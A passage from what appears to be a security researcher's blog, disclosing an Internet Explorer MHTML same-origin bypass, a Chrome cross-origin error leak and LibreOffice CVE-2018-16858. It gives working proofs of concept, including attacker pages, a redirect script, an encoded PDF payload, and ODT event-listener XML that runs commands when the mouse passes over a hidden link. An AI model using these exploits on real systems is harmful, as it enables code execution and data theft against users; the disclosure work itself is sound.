Y3JvRm9ybSA1IDAgUgogICAgL09wZW5BY3Rpb24gMTIzIDAgUgo+PgplbmRvYmoKMTIzIDAgb2Jq
Cjw8Ci9UeXBlIC9BY3Rpb24KL1MgL0phdmFTY3JpcHQKL0pTIChhcHAuYWxlcnQoVVJMKSkKPj4K
MiAwIG9iago8PAoJL1R5cGUgL1BhZ2VzCgkvQ291bnQgMQoJL0tpZHMgWyAzIDAgUiBdCj4+CmVu
ZG9iagozIDAgb2JqCjw8CgkvVHlwZSAvUGFnZQoJL0NvbnRlbnRzIDQgMCBSCgkvUGFyZW50IDIg
MCBSCgkvUmVzb3VyY2VzIDw8CgkJL0ZvbnQgPDwKCQkJL0YxIDw8CgkJCQkvVHlwZSAvRm9udAoJ
CQkJL1N1YnR5cGUgL1R5cGUxCgkJCQkvQmFzZUZvbnQgL0FyaWFsCgkJCT4+CgkJPj4KCT4+Cj4+
CmVuZG9iago0IDAgb2JqCjw8IC9MZW5ndGggNDc+PgpzdHJlYW0KQlQKL0YxIDEwMApUZiAxIDEg
MSAxIDEgMApUcihIZWxsbyBXb3JsZCEpVGoKRVQKZW5kc3RyZWFtCmVuZG9iago1IDAgb2JqCjw8
IC9EQSAoL0hlbHYgMCBUZiAwIGcgKSA+PgplbmRvYmoKCnRyYWlsZXIKPDwKCS9Sb290IDEgMCBS
Cj4+CiUlRU9GCiUgYSBuYWl2ZSBQREYgKGZvciBwZGYuanMpIHdpdGggbW9yZSBlbGVtZW50cyB0
aGFuIHVzdWFsbHkgcmVxdWlyZWQKJSBBbmdlIEFsYmVydGluaSwgQlNEIGxpY2VuY2UgMjAxMg==
------=_NextPart_000_0000_01D56FF0.D41CF780--


Now an attacker has to lure an authenticated user of example.com to his own domain eg. attacker.com, which contains the following HTML structure.
Note: The HTML structure does not directly specify the mhtml: protocol handler, because this will trigger Windows Defender in IE - so a HTTP redirect has to be used (yeah annoying).

http://attacker.com/test.html
<h1> MHTML protocol test case 2 </h1>
<embed src="redir.php" type="application/pdf" height="500" width="500"/>

redir.php
header("Location: mhtml:http://example.com/user/123/download.php?id=3!abcd.pdf");

HTTP response
HTTP/1.1 200 OK
Date: Sat, 25 Jan 2020 00:27:39 GMT
Server: Apache/2.4.37 (Debian)
Content-Disposition: attachment; filename="test.txt"
X-Content-Type-Options: nosniff
X-Frame-Options: deny
Content-Length: 1269
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/plain;charset=UTF-8

Content-Type: multipart/alternative;
 boundary="----=_NextPart_000_0000_01D56FF0.D41CF780"

This is a multi-part message in MIME format.

------=_NextPart_000_0000_01D56FF0.D41CF780
Content-Type: application/pdf;
 charset="Windows-1252"
Content-Transfer-Encoding: base64
Content-Location: abcd.pdf

JVBERi0xLjEKMSAwIG9iago8PAolCS9UeXBlIC9DYXRhbG9nCgkvUGFnZXMgMiAwIFIKICAgIC9B
Y3JvRm9ybSA1IDAgUgogICAgL09wZW5BY3Rpb24gMTIzIDAgUgo+PgplbmRvYmoKMTIzIDAgb2Jq
Cjw8Ci9UeXBlIC9BY3Rpb24KL1MgL0phdmFTY3JpcHQKL0pTIChhcHAuYWxlcnQoVVJMKSkKPj4K
MiAwIG9iago8PAoJL1R5cGUgL1BhZ2VzCgkvQ291bnQgMQoJL0tpZHMgWyAzIDAgUiBdCj4+CmVu
ZG9iagozIDAgb2JqCjw8CgkvVHlwZSAvUGFnZQoJL0NvbnRlbnRzIDQgMCBSCgkvUGFyZW50IDIg
MCBSCgkvUmVzb3VyY2VzIDw8CgkJL0ZvbnQgPDwKCQkJL0YxIDw8CgkJCQkvVHlwZSAvRm9udAoJ
CQkJL1N1YnR5cGUgL1R5cGUxCgkJCQkvQmFzZUZvbnQgL0FyaWFsCgkJCT4+CgkJPj4KCT4+Cj4+
CmVuZG9iago0IDAgb2JqCjw8IC9MZW5ndGggNDc+PgpzdHJlYW0KQlQKL0YxIDEwMApUZiAxIDEg
MSAxIDEgMApUcihIZWxsbyBXb3JsZCEpVGoKRVQKZW5kc3RyZWFtCmVuZG9iago1IDAgb2JqCjw8
IC9EQSAoL0hlbHYgMCBUZiAwIGcgKSA+PgplbmRvYmoKCnRyYWlsZXIKPDwKCS9Sb290IDEgMCBS
Cj4+CiUlRU9GCiUgYSBuYWl2ZSBQREYgKGZvciBwZGYuanMpIHdpdGggbW9yZSBlbGVtZW50cyB0
aGFuIHVzdWFsbHkgcmVxdWlyZWQKJSBBbmdlIEFsYmVydGluaSwgQlNEIGxpY2VuY2UgMjAxMg==
------=_NextPart_000_0000_01D56FF0.D41CF780--

Despite all the headers set by example.com, Internet Explorer will render the PDF and show "Hello World". By loading a malicious flash instead of a PDF file, it is possible to interact with example.com in the context of the victim viewing attacker.com, as the rendered resource is still operating in the example.com origin. It must be mentioned that while re-testing this issue, I was only able to reproduce this SOP behavior for flash files but not for PDF files. Adobe Reader would ask me to allow an emtpy (' ') origin to access example.com.



Friday, July 26, 2019

Error.prepareStackTrace allows to catch cross-origin script errors


Normally it is not possible to properly catch JavaScript runtime errors, which are triggered by cross-domain JavaScript files via HTML script tags. I discovered that prepareStackTrace can bypass this restriction, when the developer console is opened by the user (I did not discover a bypass for the need of the console yet). This can lead to a cross-domain information leak as shown later. Maybe you, the reader, can find more use cases.

Error.prepareStackTrace


I discovered it via the following tweet: https://twitter.com/intenttoship/status/1146097840118272000 > "Blink: Intent to Remove: 'getThis' and 'getFunction' from the CallSite API"

This lead me to: https://v8.dev/docs/stack-trace-api#customizing-stack-traces

The JavaScript V8 engine exposes Error.prepareStackTrace(error, structuredStackTrace), which allows to capture error stracktraces.
The error parameter contains the error description. The structured stack trace is an array of CallSite objects, each of which represents a stack frame. A CallSite object defines the following methods:
- getThis: returns the value of this
- getTypeName: returns the type of this as a string. This is the name of the function stored in the constructor field of this, if available, otherwise the object’s [[Class]] internal property.
- getFunction: returns the current function
- getFunctionName: returns the name of the current function, typically its name property. If a name property is not available an attempt is made to infer a name from the function’s context.
- getMethodName: returns the name of the property of this or one of its prototypes that holds the current function
- getFileName: if this function was defined in a script returns the name of the script
[...]

Lets look at an example:

<!doctype HTML>
<meta charset="UTF-8" />
<script>
Error.prepareStackTrace = function(error,stacks)
{
   alert(error);
   alert("FunctionName: " + stacks[0].getFunctionName())
   return "MyStackObject";
}
function test(){
try{
  nothere();
  }
  catch(e){
  e.stack
  }

}
test()
</script>


This will alert the following text: "ReferenceError: nothere is not defined" and "FunctionName: test". It can be seen that the error parameter contains the string representation thrown by the JavaScript engine, as the function is not defined. The first stack value is the test function as it triggered the runtime error and therefore its name is returned by the getFunctionName call.

In case you would include remote script via <script src="http://remote/remotejs">, which causes an undefined JavaScript error, prepareStackTrace would not catch this error and it would only be displayed in the developer console.

The developer console

One interesting behavior I discovered is the fact, that Error.prepareStackTrace catches more errors when the developer console is opened. Suddenly it is able to catch "ReferenceError: <> is not defined" errors triggered by remotely loaded JavaScript files.
This does not sound too interesting at first. But modern websites often have JSON resources, which return information in an array like syntax: ["john","doe","address"], which can be loaded via a HTML script tag.
Gareth Heyes explored these kind of resources and documented his attack vectors back in 2016. One vector - Stealing JSON feeds in Chrome - abused the script tags charset attribute. By specifying the charset UTF-16BE, the remotely loaded JSON array will be interpreted as an UTF-16 variable. As it is not defined, it will cause a JavaScript runtime error. As usual Gareth abused JavaScript itself to be able to catch this undefined error. After catching the undefined UTF-16 variable, it is necessary to do some bit shifting to convert it back to the original ASCII text, therefore leaking the information to another domain. His way of catching the error was fixed in Google Chrome. 

But Error.prepareStrackTrace allows to catch "remote" undefined errors as well as soon as the developer console is opened. Therefore it is possible to abuse this attack again

The PoC


The following PoC needs to be hosted on a HTTP (not HTTPS) website or otherwise a mixed-content warning will be displayed. Of course you need to use a browser, which is using the JavaScript V8 engine like Chrome. It will display 'ReferenceError: 嬢獵灥牳散牥琢Ⱒ慢挢 is not defined', as it does not decode the UTF-16 variable:

<!doctype HTML>
<meta charset="UTF-8" />
<script>
Error.prepareStackTrace = function(error,stacks)
{
 alert(error);
 stacks[0].getThis().alert(stacks[0].getThis().location);
        return "MyStackObject";
}
</script>
<script charset="UTF-16BE"
src="http://subdomain1.portswigger-labs.net/utf-16be/chrome_steal_json_data_with_proxy/array.php">
</script>
<body>
<h1> open the developer console </h1>


The standard:


The behavior of Error.prepareStackTrace violates the standard (in case the developer console is opened):

6. If script's muted errors is true, then set message to "Script error.", urlString to the empty string, line and col to 0, and errorValue to null.

A muted errors boolean:

A boolean which, if true, means that error information will not be provided for errors in this script. This is used to mute errors for cross-origin scripts, since that can leak private information.

Friday, February 1, 2019

Libreoffice (CVE-2018-16858) - Remote Code Execution via Macro/Event execution



I started to have a look at Libreoffice and discovered a way to achieve remote code execution as soon as a user opens a malicious ODT file and moves his mouse over the document, without triggering any warning dialog. This blogpost will describe the vulnerability I discovered. It must be noted the vulnerability will be discussed in the context of Windows but Linux can be exploited the same way.

Tested LibreOffice version: 6.1.2.1 (6.0.x does not allow to pass parameters)
Tested Operating Systems: Windows + Linux (both affected)

https://www.libreoffice.org/about-us/security/advisories/cve-2018-16858/



The feature


I started to read the OpenDocument-v1.2-part1 specification to get a feeling for the file format. Additionally I created some odt files (which, similar to docx, are zip files containing files describing the file structure) so I can follow the file format specification properly. The specification for the office:scripts element peeked my interested so I started to investigate how this element is used. 
I stumbled upon the scripting framework documentation (which specifies that Basic, BeanShell, Java
JavaScript and Python is supported). Additionally I discovered how to create an ODT file via the GUI, which uses the office:script element (thanks google). 

Open Libreoffice writer => Insert => Hyperlink and click on the gear wheel icon (open the image so you can properly read it):



I choosed to use the onmouseover event and the python sample installed with LibreOffice. 
After assigning this script (or event as it is called in the LibreOffice world)  and saving this file, I was able to have a look at the created file structure:

<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|TableSample.py$createTable?language=Python&amp;location=share" xlink:type="simple"/>


This looked like it is loading a file from the local file system and that assumption is true (the path shown is for Windows but it is present for Linux as well): 
C:\Program Files\LibreOffice\share\Scripts\python\pythonSamples\TableSample.py 

The file contains a createTable function.

So I opened the created ODT file and moved the mouse over the link and to my surprise the python file was executed without any warning dialog.

Important side note:  LibreOffice ships with its own python interpreter, so there is no need that python is actually installed 


The Bug


Given that a local python file is executed, the first thing I tried was path traversal. After unzipping I modified the script:event-listener element like this:

<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:../../../../../../../../../TableSample.py$createTable?language=Python&amp;location=share" xlink:type="simple"/>

I zipped everything up, changed the extension to ODT and started ProcessMonitor. I configured it to only list libreoffice related events and opened the ODT file in LibreOffice. As soon as I moved my mouse over the hyperlink and therefore executing the event, I saw that the path traversal worked as a FILE NOT FOUND event was shown in ProcessMonitor!
To be sure that the feature still works with path traversal, I copy&pasted the original TableSample.py in the C:\ root directory and opened the ODT file again. Thankfully the python file was executed from C:\ as soon as the event was triggered. 
Lastly I changed the content of TableSample.py in the C:\ folder so it would create a file in case it is executed. I used the same ODT file again to execute the python file and the file was successfully dropped.
That meant I was able to execute any python file from the local file system, without a warning dialog as soon as the mouse is over the hyperlink in the document.

Exploitation


To properly exploit this behavior, we need to find a way to load a python file we have control over and know its location. At first I was investigating the location parameter of the vnd.sun.star.script protocol handler:

"LOCPARAM identifies the container of the script, i.e. My Macros, or OpenOffice.org Macros, or within the current document, or in an extension."

If we can specify a python script in the current document, we should have no problem loading a custom python script. This idea was a dead end really quick as by specifying location=document a dialog is shown- explaining that macros hosted inside the document are currently disabled. 

The next idea was abusing the location=user parameter. In case of Windows the user location points inside the AppData directory of the current user. The idea was to abuse the path traversal to traverse down into the users Download directory and load the ODT file as a python script (ergo creating a polyglot file, which is a python file + a working ODT file). Sadly this was a dead end as well as LibreOffice does not like any data before the ODT Zip header.

The solution


For the solution I looked into the python parsing code a little more in depth and discovered that it is not only possible to specify the function you want to call inside a python script, but it is possible to pass parameters as well (this feature seems to be introduced in the 6.1.x branch):

<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:../../../../../../../../../TableSample.py$functionName(param1,param2)?language=Python&amp;location=share" xlink:type="simple"/>


As LibreOffice ships with its own python interpreter and therefore a bunch of python scripts, I started to examine them for potential insecure functions I can abuse. After some digging I discovered the following code:

File:
C:\Program Files\LibreOffice\program\python-core-3.5.5\lib\pydoc.py

Code:
def tempfilepager(text, cmd):
    """Page through text by invoking a program on a temporary file."""
    import tempfile
    filename = tempfile.mktemp()
    with open(filename, 'w', errors='backslashreplace') as file:
        file.write(text)
    try:
        os.system(cmd + ' "' + filename + '"')
    finally:
        os.unlink(filename)

The user controlled cmd parameter is passed to the os.system call, which just passes the string to a subshell (cmd.exe on Window) and therefore allowing to execute a local file with parameters:

<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:../../../program/python-core-3.5.5/lib/pydoc.py$tempfilepager(1, calc.exe )?language=Python&amp;location=share" xlink:type="simple"/>


Some notes regarding the Proof-of-Concept Video. I changed the color of the Hyperlink to white so it can't be seen. Additionally the link covers the whole page, therefore increasing the chance a user moves his mouse over the link and executing my payload:



Reporting the bug


Reporting the bug was kind of a wild ride. At first I reported it via the libreoffice bugzilla system. Apparently for security issues it is better to send an email to officesecurity@lists.freedesktop.org, but I did not know that. So my bugzilla report got closed but I convinced them to have another look. The bug was picked up and moved to a thread via officesecurity@lists.freedesktop.org. The issue was verified and fixed quite fast. 

Timeline:
18.10.2018 - reported the bug
30.10.2018 - bug was fixed and added to daily builds
14.11.2018 - CVE-2018-16858 was assigned by Redhat - got told that 31.01.2019 is the date I can publish
01.02.2019 - Blogpost published


The path traversal is fixed in (I just tested these versions):
Libreoffice: 6.1.4.2
Libreoffice: 6.0.7

Vulnerable:
Openoffice: 4.1.6 (latest version)

I reconfirmed via email that I am allowed to publish the details of the vulnerability although openoffice is still unpatched. Openoffice does not allow to pass parameters therefore my PoC does not work but the path traversal can be abused to execute a python script from another location on the local file system.
To disable the support for python the pythonscript.py in the installation folder can be either removed or renamed (example on linux /opt/openoffice4/program/pythonscript.py)

Additional note

As I had some additional time until I could publish this blogpost I thought about ImageMagick, as it is using LibreOffice (soffice) to convert certain file types.
It is possible to use certain events to trigger the execution of a script as shown above but one additional parameter will be passed, which you have no control of. Therefore my PoC does not work but in case you are able to reference your own local python file, it is possible to abuse it via ImageMagick as well (given that 6.1.2.1 or another vulnerability version is installed)



Proof-of-concept - Copy&Paste and save it with an .fodt extension!

Openoffice does not support FODT files, so it is necessary to open it with Libreoffice and save it as an ODT file.

<?xml version="1.0" encoding="UTF-8"?>

<office:document xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" xmlns:style="urn:oasis:names:tc:opendocument:xmlns:style:1.0" xmlns:text="urn:oasis:names:tc:opendocument:xmlns:text:1.0" xmlns:table="urn:oasis:names:tc:opendocument:xmlns:table:1.0" xmlns:draw="urn:oasis:names:tc:opendocument:xmlns:drawing:1.0" xmlns:fo="urn:oasis:names:tc:opendocument:xmlns:xsl-fo-compatible:1.0" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:meta="urn:oasis:names:tc:opendocument:xmlns:meta:1.0" xmlns:number="urn:oasis:names:tc:opendocument:xmlns:datastyle:1.0" xmlns:svg="urn:oasis:names:tc:opendocument:xmlns:svg-compatible:1.0" xmlns:chart="urn:oasis:names:tc:opendocument:xmlns:chart:1.0" xmlns:dr3d="urn:oasis:names:tc:opendocument:xmlns:dr3d:1.0" xmlns:math="http://www.w3.org/1998/Math/MathML" xmlns:form="urn:oasis:names:tc:opendocument:xmlns:form:1.0" xmlns:script="urn:oasis:names:tc:opendocument:xmlns:script:1.0" xmlns:config="urn:oasis:names:tc:opendocument:xmlns:config:1.0" xmlns:ooo="http://openoffice.org/2004/office" xmlns:ooow="http://openoffice.org/2004/writer" xmlns:oooc="http://openoffice.org/2004/calc" xmlns:dom="http://www.w3.org/2001/xml-events" xmlns:xforms="http://www.w3.org/2002/xforms" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:rpt="http://openoffice.org/2005/report" xmlns:of="urn:oasis:names:tc:opendocument:xmlns:of:1.2" xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns:grddl="http://www.w3.org/2003/g/data-view#" xmlns:officeooo="http://openoffice.org/2009/office" xmlns:tableooo="http://openoffice.org/2009/table" xmlns:drawooo="http://openoffice.org/2010/draw" xmlns:calcext="urn:org:documentfoundation:names:experimental:calc:xmlns:calcext:1.0" xmlns:loext="urn:org:documentfoundation:names:experimental:office:xmlns:loext:1.0" xmlns:field="urn:openoffice:names:experimental:ooo-ms-interop:xmlns:field:1.0" xmlns:formx="urn:openoffice:names:experimental:ooxml-odf-interop:xmlns:form:1.0" xmlns:css3t="http://www.w3.org/TR/css3-text/" office:version="1.2" office:mimetype="application/vnd.oasis.opendocument.text">
 <office:meta><meta:creation-date>2019-01-30T10:53:06.762000000</meta:creation-date><dc:date>2019-01-30T10:53:49.512000000</dc:date><meta:editing-duration>PT44S</meta:editing-duration><meta:editing-cycles>1</meta:editing-cycles><meta:document-statistic meta:table-count="0" meta:image-count="0" meta:object-count="0" meta:page-count="1" meta:paragraph-count="1" meta:word-count="1" meta:character-count="4" meta:non-whitespace-character-count="4"/><meta:generator>LibreOffice/6.1.2.1$Windows_X86_64 LibreOffice_project/65905a128db06ba48db947242809d14d3f9a93fe</meta:generator></office:meta>
 <office:settings>
  <config:config-item-set config:name="ooo:view-settings">
   <config:config-item config:name="ViewAreaTop" config:type="long">0</config:config-item>
   <config:config-item config:name="ViewAreaLeft" config:type="long">0</config:config-item>
   <config:config-item config:name="ViewAreaWidth" config:type="long">35959</config:config-item>
   <config:config-item config:name="ViewAreaHeight" config:type="long">12913</config:config-item>
   <config:config-item config:name="ShowRedlineChanges" config:type="boolean">true</config:config-item>
   <config:config-item config:name="InBrowseMode" config:type="boolean">false</config:config-item>
   <config:config-item-map-indexed config:name="Views">
    <config:config-item-map-entry>
     <config:config-item config:name="ViewId" config:type="string">view2</config:config-item>
     <config:config-item config:name="ViewLeft" config:type="long">9772</config:config-item>
     <config:config-item config:name="ViewTop" config:type="long">2501</config:config-item>
     <config:config-item config:name="VisibleLeft" config:type="long">0</config:config-item>
     <config:config-item config:name="VisibleTop" config:type="long">0</config:config-item>
     <config:config-item config:name="VisibleRight" config:type="long">35957</config:config-item>
     <config:config-item config:name="VisibleBottom" config:type="long">12912</config:config-item>
     <config:config-item config:name="ZoomType" config:type="short">0</config:config-item>
     <config:config-item config:name="ViewLayoutColumns" config:type="short">1</config:config-item>
     <config:config-item config:name="ViewLayoutBookMode" config:type="boolean">false</config:config-item>
     <config:config-item config:name="ZoomFactor" config:type="short">100</config:config-item>
     <config:config-item config:name="IsSelectedFrame" config:type="boolean">false</config:config-item>
     <config:config-item config:name="AnchoredTextOverflowLegacy" config:type="boolean">false</config:config-item>
    </config:config-item-map-entry>
   </config:config-item-map-indexed>
  </config:config-item-set>
  <config:config-item-set config:name="ooo:configuration-settings">
   <config:config-item config:name="ProtectForm" config:type="boolean">false</config:config-item>
   <config:config-item config:name="PrinterName" config:type="string"/>
   <config:config-item config:name="EmbeddedDatabaseName" config:type="string"/>
   <config:config-item config:name="CurrentDatabaseDataSource" config:type="string"/>
   <config:config-item config:name="LinkUpdateMode" config:type="short">1</config:config-item>
   <config:config-item config:name="AddParaTableSpacingAtStart" config:type="boolean">true</config:config-item>
   <config:config-item config:name="FloattableNomargins" config:type="boolean">false</config:config-item>
   <config:config-item config:name="UnbreakableNumberings" config:type="boolean">false</config:config-item>
   <config:config-item config:name="FieldAutoUpdate" config:type="boolean">true</config:config-item>
   <config:config-item config:name="AddVerticalFrameOffsets" config:type="boolean">false</config:config-item>
   <config:config-item config:name="BackgroundParaOverDrawings" config:type="boolean">false</config:config-item>
   <config:config-item config:name="AddParaTableSpacing" config:type="boolean">true</config:config-item>
   <config:config-item config:name="ChartAutoUpdate" config:type="boolean">true</config:config-item>
   <config:config-item config:name="CurrentDatabaseCommand" config:type="string"/>
   <config:config-item config:name="AlignTabStopPosition" config:type="boolean">true</config:config-item>
   <config:config-item config:name="PrinterSetup" config:type="base64Binary"/>
   <config:config-item config:name="PrinterPaperFromSetup" config:type="boolean">false</config:config-item>
   <config:config-item config:name="IsKernAsianPunctuation" config:type="boolean">false</config:config-item>
   <config:config-item config:name="CharacterCompressionType" config:type="short">0</config:config-item>
   <config:config-item config:name="ApplyUserData" config:type="boolean">true</config:config-item>
   <config:config-item config:name="SaveGlobalDocumentLinks" config:type="boolean">false</config:config-item>
   <config:config-item config:name="SmallCapsPercentage66" config:type="boolean">false</config:config-item>
   <config:config-item config:name="CurrentDatabaseCommandType" config:type="int">0</config:config-item>
   <config:config-item config:name="SaveVersionOnClose" config:type="boolean">false</config:config-item>
   <config:config-item config:name="UpdateFromTemplate" config:type="boolean">true</config:config-item>
   <config:config-item config:name="PrintSingleJobs" config:type="boolean">false</config:config-item>
   <config:config-item config:name="PrinterIndependentLayout" config:type="string">high-resolution</config:config-item>
   <config:config-item config:name="EmbedSystemFonts" config:type="boolean">false</config:config-item>
   <config:config-item config:name="DoNotCaptureDrawObjsOnPage" config:type="boolean">false</config:config-item>
   <config:config-item config:name="UseFormerObjectPositioning" config:type="boolean">false</config:config-item>
   <config:config-item config:name="IsLabelDocument" config:type="boolean">false</config:config-item>
   <config:config-item config:name="AddFrameOffsets" config:type="boolean">false</config:config-item>
   <config:config-item config:name="AddExternalLeading" config:type="boolean">true</config:config-item>
   <config:config-item config:name="UseOldNumbering" config:type="boolean">false</config:config-item>
   <config:config-item config:name="OutlineLevelYieldsNumbering" config:type="boolean">false</config:config-item>
   <config:config-item config:name="DoNotResetParaAttrsForNumFont" config:type="boolean">false</config:config-item>
   <config:config-item config:name="IgnoreFirstLineIndentInNumbering" config:type="boolean">false</config:config-item>
   <config:config-item config:name="AllowPrintJobCancel" config:type="boolean">true</config:config-item>
   <config:config-item config:name="UseFormerLineSpacing" config:type="boolean">false</config:config-item>
   <config:config-item config:name="AddParaSpacingToTableCells" config:type="boolean">true</config:config-item>
   <config:config-item config:name="UseFormerTextWrapping" config:type="boolean">false</config:config-item>
   <config:config-item config:name="RedlineProtectionKey" config:type="base64Binary"/>
   <config:config-item config:name="ConsiderTextWrapOnObjPos" config:type="boolean">false</config:config-item>
   <config:config-item config:name="DoNotJustifyLinesWithManualBreak" config:type="boolean">false</config:config-item>
   <config:config-item config:name="EmbedFonts" config:type="boolean">false</config:config-item>
   <config:config-item config:name="TableRowKeep" config:type="boolean">false</config:config-item>
   <config:config-item config:name="TabsRelativeToIndent" config:type="boolean">true</config:config-item>
   <config:config-item config:name="IgnoreTabsAndBlanksForLineCalculation" config:type="boolean">false</config:config-item>
   <config:config-item config:name="RsidRoot" config:type="int">1115298</config:config-item>
   <config:config-item config:name="LoadReadonly" config:type="boolean">false</config:config-item>
   <config:config-item config:name="ClipAsCharacterAnchoredWriterFlyFrames" config:type="boolean">false</config:config-item>
   <config:config-item config:name="UnxForceZeroExtLeading" config:type="boolean">false</config:config-item>
   <config:config-item config:name="UseOldPrinterMetrics" config:type="boolean">false</config:config-item>
   <config:config-item config:name="TabAtLeftIndentForParagraphsInList" config:type="boolean">false</config:config-item>
   <config:config-item config:name="Rsid" config:type="int">1115298</config:config-item>
   <config:config-item config:name="MsWordCompTrailingBlanks" config:type="boolean">false</config:config-item>
   <config:config-item config:name="MathBaselineAlignment" config:type="boolean">true</config:config-item>
   <config:config-item config:name="InvertBorderSpacing" config:type="boolean">false</config:config-item>
   <config:config-item config:name="CollapseEmptyCellPara" config:type="boolean">true</config:config-item>
   <config:config-item config:name="TabOverflow" config:type="boolean">true</config:config-item>
   <config:config-item config:name="StylesNoDefault" config:type="boolean">false</config:config-item>
   <config:config-item config:name="ClippedPictures" config:type="boolean">false</config:config-item>
   <config:config-item config:name="TabOverMargin" config:type="boolean">false</config:config-item>
   <config:config-item config:name="TreatSingleColumnBreakAsPageBreak" config:type="boolean">false</config:config-item>
   <config:config-item config:name="SurroundTextWrapSmall" config:type="boolean">false</config:config-item>
   <config:config-item config:name="ApplyParagraphMarkFormatToNumbering" config:type="boolean">false</config:config-item>
   <config:config-item config:name="PropLineSpacingShrinksFirstLine" config:type="boolean">true</config:config-item>
   <config:config-item config:name="SubtractFlysAnchoredAtFlys" config:type="boolean">false</config:config-item>
   <config:config-item config:name="DisableOffPagePositioning" config:type="boolean">false</config:config-item>
   <config:config-item config:name="EmptyDbFieldHidesPara" config:type="boolean">true</config:config-item>
   <config:config-item config:name="PrintAnnotationMode" config:type="short">0</config:config-item>
   <config:config-item config:name="PrintGraphics" config:type="boolean">true</config:config-item>
   <config:config-item config:name="PrintBlackFonts" config:type="boolean">false</config:config-item>
   <config:config-item config:name="PrintProspect" config:type="boolean">false</config:config-item>
   <config:config-item config:name="PrintLeftPages" config:type="boolean">true</config:config-item>
   <config:config-item config:name="PrintControls" config:type="boolean">true</config:config-item>
   <config:config-item config:name="PrintPageBackground" config:type="boolean">true</config:config-item>
   <config:config-item config:name="PrintTextPlaceholder" config:type="boolean">false</config:config-item>
   <config:config-item config:name="PrintDrawings" config:type="boolean">true</config:config-item>
   <config:config-item config:name="PrintHiddenText" config:type="boolean">false</config:config-item>
   <config:config-item config:name="PrintTables" config:type="boolean">true</config:config-item>
   <config:config-item config:name="PrintProspectRTL" config:type="boolean">false</config:config-item>
   <config:config-item config:name="PrintReversed" config:type="boolean">false</config:config-item>
   <config:config-item config:name="PrintRightPages" config:type="boolean">true</config:config-item>
   <config:config-item config:name="PrintFaxName" config:type="string"/>
   <config:config-item config:name="PrintPaperFromSetup" config:type="boolean">false</config:config-item>
   <config:config-item config:name="PrintEmptyPages" config:type="boolean">false</config:config-item>
  </config:config-item-set>
 </office:settings>
 <office:scripts>
  <office:script script:language="ooo:Basic">
   <ooo:libraries xmlns:ooo="http://openoffice.org/2004/office" xmlns:xlink="http://www.w3.org/1999/xlink">
    <ooo:library-embedded ooo:name="Standard"/>
   </ooo:libraries>
  </office:script>
 </office:scripts>
 <office:font-face-decls>
  <style:font-face style:name="Arial1" svg:font-family="Arial" style:font-family-generic="swiss"/>
  <style:font-face style:name="Liberation Serif" svg:font-family="&apos;Liberation Serif&apos;" style:font-family-generic="roman" style:font-pitch="variable"/>
  <style:font-face style:name="Liberation Sans" svg:font-family="&apos;Liberation Sans&apos;" style:font-family-generic="swiss" style:font-pitch="variable"/>
  <style:font-face style:name="Arial" svg:font-family="Arial" style:font-family-generic="system" style:font-pitch="variable"/>
  <style:font-face style:name="Microsoft YaHei" svg:font-family="&apos;Microsoft YaHei&apos;" style:font-family-generic="system" style:font-pitch="variable"/>
  <style:font-face style:name="NSimSun" svg:font-family="NSimSun" style:font-family-generic="system" style:font-pitch="variable"/>
 </office:font-face-decls>
 <office:styles>
  <style:default-style style:family="graphic">
   <style:graphic-properties svg:stroke-color="#3465a4" draw:fill-color="#729fcf" fo:wrap-option="no-wrap" draw:shadow-offset-x="0.1181in" draw:shadow-offset-y="0.1181in" draw:start-line-spacing-horizontal="0.1114in" draw:start-line-spacing-vertical="0.1114in" draw:end-line-spacing-horizontal="0.1114in" draw:end-line-spacing-vertical="0.1114in" style:flow-with-text="false"/>
   <style:paragraph-properties style:text-autospace="ideograph-alpha" style:line-break="strict" style:font-independent-line-spacing="false">
    <style:tab-stops/>
   </style:paragraph-properties>
   <style:text-properties style:use-window-font-color="true" style:font-name="Liberation Serif" fo:font-size="12pt" fo:language="en" fo:country="US" style:letter-kerning="true" style:font-name-asian="NSimSun" style:font-size-asian="10.5pt" style:language-asian="zh" style:country-asian="CN" style:font-name-complex="Arial" style:font-size-complex="12pt" style:language-complex="hi" style:country-complex="IN"/>
  </style:default-style>
  <style:default-style style:family="paragraph">
   <style:paragraph-properties fo:orphans="2" fo:widows="2" fo:hyphenation-ladder-count="no-limit" style:text-autospace="ideograph-alpha" style:punctuation-wrap="hanging" style:line-break="strict" style:tab-stop-distance="0.4925in" style:writing-mode="page"/>
   <style:text-properties style:use-window-font-color="true" style:font-name="Liberation Serif" fo:font-size="12pt" fo:language="en" fo:country="US" style:letter-kerning="true" style:font-name-asian="NSimSun" style:font-size-asian="10.5pt" style:language-asian="zh" style:country-asian="CN" style:font-name-complex="Arial" style:font-size-complex="12pt" style:language-complex="hi" style:country-complex="IN" fo:hyphenate="false" fo:hyphenation-remain-char-count="2" fo:hyphenation-push-char-count="2"/>
  </style:default-style>
  <style:default-style style:family="table">
   <style:table-properties table:border-model="collapsing"/>
  </style:default-style>
  <style:default-style style:family="table-row">
   <style:table-row-properties fo:keep-together="auto"/>
  </style:default-style>
  <style:style style:name="Standard" style:family="paragraph" style:class="text"/>
  <style:style style:name="Heading" style:family="paragraph" style:parent-style-name="Standard" style:next-style-name="Text_20_body" style:class="text">
   <style:paragraph-properties fo:margin-top="0.1665in" fo:margin-bottom="0.0835in" loext:contextual-spacing="false" fo:keep-with-next="always"/>
   <style:text-properties style:font-name="Liberation Sans" fo:font-family="&apos;Liberation Sans&apos;" style:font-family-generic="swiss" style:font-pitch="variable" fo:font-size="14pt" style:font-name-asian="Microsoft YaHei" style:font-family-asian="&apos;Microsoft YaHei&apos;" style:font-family-generic-asian="system" style:font-pitch-asian="variable" style:font-size-asian="14pt" style:font-name-complex="Arial" style:font-family-complex="Arial" style:font-family-generic-complex="system" style:font-pitch-complex="variable" style:font-size-complex="14pt"/>
  </style:style>
  <style:style style:name="Text_20_body" style:display-name="Text body" style:family="paragraph" style:parent-style-name="Standard" style:class="text">
